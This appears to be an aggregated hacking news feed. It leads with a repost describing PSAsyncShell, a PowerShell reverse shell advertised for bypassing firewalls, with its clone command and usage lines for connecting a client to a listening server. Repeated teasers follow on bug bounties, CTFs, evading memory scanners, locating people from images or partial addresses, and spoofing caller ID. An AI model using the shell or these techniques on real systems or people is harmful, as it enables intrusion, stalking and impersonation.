KitPloit - PenTest Tools!
PSAsyncShell - PowerShell Asynchronous TCP Reverse Shell

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivaKwQorq948BbRsS9IbtUOeG6rO4fC0m40JWlK7VLPKcwgQQ1QE4Gbw2pPn12fW2_ppTEd2ryMorJsx-40Xs8EpAHQo5RU0Elh3JQsP6IKZ4nF8TSPjAEo4w4vbzdy4xS0LwOXVnjV234_3a9CcyCho797LYwjxeN89wH97x58LBupV3KFi-klAv6Kg/w640-h400/PSAsyncShell_1_PSAsyncShell.png
PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.

Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.

Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded traffic.
Requirements

* PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSAsyncShell


Usage

.\PSAsyncShell.ps1 -h

____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/

---------------------- by @JoelGMSec -----------------------

Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls

Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client

.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server

Warning: All info betwen parts will be sent unencrypted
Download & Upload functions don't use MultiPart



The detailed guide of use can be found at the following link:

https://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.
Download PSAsyncShell

___________________________
@hacking_Attack
@Hacking_Video

eWPT to eWPTX Certified in 45 days (without INE labs) — Exam Review and Tips

In this article, I am going to provide feedback and helpful tips for the eWPT and eWPTXv2 exams.Continue reading on System Weakness »
Read more...

Tesla paid me $10,000 because of Directory Indexing

Many people are interested in trying Bug Bounties, but they feel they won’t be able to find anything. I hope that my success will serve as…Continue reading on Medium »
Read more...

Hacking on Medium
Vulnhub MoneyBox Walkthrough

https://cdn-images-1.medium.com/max/600/1*N1XAiSvnf_5AdIzrGviNaQ.png
What are VulnHub and MoneyBox?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Name-Based Virtual Hosting

Name based virtual hosting is a method for hosting multiple domain names on a single server. This allows one server to server to share its…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solve Me — DownUnderCTF2022

https://cdn-images-1.medium.com/max/914/1*jlHphtWEHVctsPJVEJ7pmg.png
CTF EVENT: CyBRICS CTF 2021

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

eWPT to eWPTX Certified in 45 days (without INE labs) — Exam Review and Tips
https://systemweakness.com/ewpt-to-ewptx-certified-in-45-days-without-ine-labs-22d4e64da57b?source=rss------bug_bounty-5

In this article, I am going to provide feedback and helpful tips for the eWPT and eWPTXv2 exams.Continue reading on System Weakness » (https://systemweakness.com/ewpt-to-ewptx-certified-in-45-days-without-ine-labs-22d4e64da57b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Tesla paid me $10,000 because of Directory Indexing
https://theredteamer.medium.com/tesla-paid-me-10-000-because-of-directory-indexing-c1be06c77a3e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Many people are interested in trying Bug Bounties, but they feel they won’t be able to find anything. I hope that my success will serve as…Continue reading on Medium » (https://theredteamer.medium.com/tesla-paid-me-10-000-because-of-directory-indexing-c1be06c77a3e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Sleep obfuscation technique leveraging waitable timers to evade memory scanners.

https://external-preview.redd.it/U_BXCs1R3e_GuhsuYLBVJ-YZiAQbbBiyS3mZnJVz3ME.jpg?width=640&crop=smart&auto=webp&s=d879fdb2405c1674813fbdffe9a06ce75ec6ab1d submitted by /u/Idov31
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Tools to geolocate images posted on social media without having to download the image?

I'd like to geolocate an image from a popular social media site but do not want to download it in order to upload it onto a geolocator tool. Are there any where you can just copy+paste the link or address in?

Thank you in advance

submitted by /u/Antique__throwaway
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Finding buildings from fragments of addresses

Let's say I want to find the building at the address 1234, Something Lane/Placeholder Avenue/etc, Newark, New Jersey, United States. However, I only have, say, the 1234, Newark, USA part or the Something Lane, Newark, USA part of the address. I was wondering if there are tools (relevant to addresses in the USA) that could give a list of buildings/residences that use a particular house number or are on a particular street, so users can correlate the possible addresses with other information to find the one that they are looking for.

submitted by /u/Antique__throwaway
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do i call anybody with any phone number

I need an app that can call someone with a number that i can choose

submitted by /u/Ok-Shower-9054
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

UBER: The Personal Vendetta

Never underestimate someone’s abilityContinue reading on Dev Genius »
Read more...

UBER: The Personal Vendetta
https://www.reddit.com/r/redteamsec/comments/xnrb5q/uber_the_personal_vendetta/

submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://blog.devgenius.io/uber-the-personal-vendetta-fda7a8e3124) [comments] (https://www.reddit.com/r/redteamsec/comments/xnrb5q/uber_the_personal_vendetta/)

___________________________
@hacking_Attack
@Hacking_Video